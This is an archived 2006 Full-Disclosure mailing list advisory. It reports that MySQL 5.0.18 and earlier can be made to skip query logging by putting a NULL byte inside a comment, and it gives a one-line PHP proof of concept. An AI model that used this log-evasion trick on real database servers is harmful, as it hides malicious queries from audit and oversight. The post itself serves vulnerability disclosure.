mailing list archives
mysql <= 5.0.18
From: sockaddr () tochka ru
Date: Sun, 26 Feb 2006 08:53:34 +0300
An attacker has the opportunity to bypass query logging.
In case the " log" parameter is On, server saves all database queries in file.
Attacker can use NULL symbol in query to bypass loggin.
All data after NULL symbol will cut off and attacker's queries won't be logged.
mysql_query('/*'.chr(0).'*/ SELECT * FROM table');
Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia - http://secunia.com/
- mysql <= 5.0.18 sockaddr (Feb 26)